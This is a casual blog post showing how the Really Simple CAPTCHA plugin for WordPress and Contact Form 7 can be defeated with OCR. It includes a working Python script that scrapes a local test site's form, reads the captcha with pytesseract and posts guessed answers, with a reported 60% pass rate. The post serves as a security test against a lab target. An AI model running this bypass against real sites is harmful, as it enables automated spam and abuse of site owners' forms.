Brute Forcing Really Simple CAPTCHA

By: ohai 8 years ago
Captcha Python Web

edit: 2017 oh lawd this is awful, i promise to clean this garbage up… one of these days… Today I took a look at what appears to be a fairly popular CAPTCHA plugin for Wordpress, Really Simple CAPTCHA. According to Wordpress, it has 1+ Million installs and seems to be used in conjunction with Contact Form 7. It should be noted, that the author himself states,

“This product is really simple as its name suggests, i.e., it is not strongly secure…” Fair enough, let’s see what we can do with it. How Does it work?

"Really Simple CAPTCHA does not use PHP ‘Sessions’ for storing states, unlike many other PHP CAPTCHA solutions, but stores them as temporary files. This allows you to embed it into WordPress without worrying about conflicts.

When you generate a CAPTCHA, Really Simple CAPTCHA creates two files for it; one is an image file of CAPTCHA, and the other is a text file which stores the correct answer to the CAPTCHA."

Let’s take a look at some of the code: (these are defaults, that i’d expect someone who just wanted a blog would probably not be fooling with)

public function __construct() {
                /* Characters available in images */
                $this->chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';

                /* Length of a word in an image */
                $this->char_length = 4;

                /* Array of fonts. Randomly picked up per character */
                $this->fonts = array(
                        dirname( __FILE__ ) . '/gentium/GenBkBasR.ttf',
                        dirname( __FILE__ ) . '/gentium/GenBkBasI.ttf',
                        dirname( __FILE__ ) . '/gentium/GenBkBasBI.ttf',
                        dirname( __FILE__ ) . '/gentium/GenBkBasB.ttf' );

                /* Directory temporary keeping CAPTCHA images and corresponding text files */
                $this->tmp_dir = path_join( dirname( __FILE__ ), 'tmp' );

                /* Array of CAPTCHA image size. Width and height */
                $this->img_size = array( 72, 24 );

                /* Background color of CAPTCHA image. RGB color 0-255 */
                $this->bg = array( 255, 255, 255 );

                /* Foreground (character) color of CAPTCHA image. RGB color 0-255 */
                $this->fg = array( 0, 0, 0 );

                /* Coordinates for a text in an image. I don't know the meaning. Just adjust. */
                $this->base = array( 6, 18 );

                /* Font size */
                $this->font_size = 14;
                /* Width of a character */
                $this->font_char_width = 15;

                /* Image type. 'png', 'gif' or 'jpeg' */
                $this->img_type = 'png';

                /* Mode of temporary image files */
                $this->file_mode = 0444;

                /* Mode of temporary answer text files */
                $this->answer_file_mode = 0440;
        }

4 characters long… 4 different fonts… No noise, just a bit of skewage. And some illustrious visuals of the beauty that is wordpress/Contact Form 7/Really Simple CAPTCHA:

** I’ve since lost these pics… sorry :( **

That’s some fancy shit right there. We could just try bruteforcing a few combos but why not try something more eloquent. (due to Primus, i’m now trying to think of words that rhyme with eloquent, thanks Les). OCR, Baby!!! More specifically, Python-tesseract. I’ll be your huckleberry… My python skills are non-existent. I was lucky enough to attend the SEC573 Course offered by SANS and managed to do ok (snagged a CTF coin on the final day, yet another) but I ended up just googling a bunch to come up with what I wrote to ‘stress test’ this CAPTCHA. Anywho, since we know that an actual image file is being created on the server and will have a corresponding text file read from we should be able to grab the image to OCR it and shoot back a best guess at its contents. The page source:

** I’ve since lost these pics… sorry :( **

I highlighted all the stuff we need to prune out of there to get our POST to work (obviously you need a name, subject, etc…) So we pull the page down and parse it with lxml so we can key right in on those input values that we want and snag the URL of the CAPTCHA image. Download the image, run pytesseract against it, and POST our own stuff back with a guessed captcha. It’s all pretty simple logical type stuff. There are probably a million more efficient ways to do this, but this is what I came up with in a couple of hours this morning.

import urllib,requests
import lxml.html
try:
        import Image
except ImportError:
        from PIL import Image

import pytesseract
def get_captcha():
        captcha_page = urllib.urlopen('http://wordpress.local/index.php/contact/')
        captcha_page_doc = lxml.html.parse(captcha_page)
        img_matches = captcha_page_doc.xpath('//img[@alt="captcha"]')
        id_matches = captcha_page_doc.xpath('//input[@name="_wpcf7_captcha_challenge_captcha-170"]')
        wp_maj_ver_matches = captcha_page_doc.xpath('//input[@name="_wpcf7"]')
        wp_nonce_matches = captcha_page_doc.xpath('//input[@name="_wpnonce"]')
        if (img_matches and id_matches):
                urllib.urlretrieve(img_matches[0].get('src'), 'mycaptcha.png')
                img_src = img_matches[0].get('src')
                id_src = id_matches[0].get('value')
                wp_maj_ver = wp_maj_ver_matches[0].get('value')
                wp_nonce = wp_nonce_matches[0].get('value')
                captcha_170 = pytesseract.image_to_string(Image.open('mycaptcha.png'))
                your_name = 'bob'
                your_email = 'larry@moeandcurly.com'
                your_subject = 'bob jims subject'
                your_message = 'and now an important message from our sponsors... not really, trololololo'
                post_url = 'http://wordpress.local/index.php/contact/'
                # build the POST
                post_data = {}
                post_data['_wpcf7'] = wp_maj_ver
                post_data['_wpnonce'] = wp_nonce
                post_data['your-name'] = your_name
                post_data['your-email'] = your_email
                post_data['your-subject'] = your_subject
                post_data['your-message'] = your_message
                post_data['_wpcf7_captcha_challenge_captcha-170'] = id_src
                post_data['captcha-170'] = captcha_170
                post_data['_wpcf7_is_ajax_call'] = '1'
                shoot_request = requests.post(post_url, data=post_data, allow_redirects=True)
                if '"mailSent":true' in shoot_request.content:
                        return "Got 'em!!"
                else:
                        return "Try again"
        else:
                return "site doesn't appear to be using this broke ass captcha"

This could be refactored many different ways but this was kind of a one-time-use for me so I hardcoded a shit ton of the values. Fuck it, we’re doing it live And let’s see it in action.

** I’ve since lost these pics… sorry :( **

And on the receiving end…

** I’ve since lost these pics… sorry :( **

So we managed to get 3 out of 5 past the captcha. I like dem odds! That’s a 60% pass rating for advertisments for viagra on your blog. Or maybe that Nigerian Prince desperately trying to get some cash to you.


Comments: 4

Unmoderated: 0 Spam: 37

By: Smithk533 7 years ago

LOLSPAM


By: needs approvals 6 years ago

a new comment here, yay


By: yut 6 years ago

another test post


By: oioioi 6 years ago

lulz, better comment, yo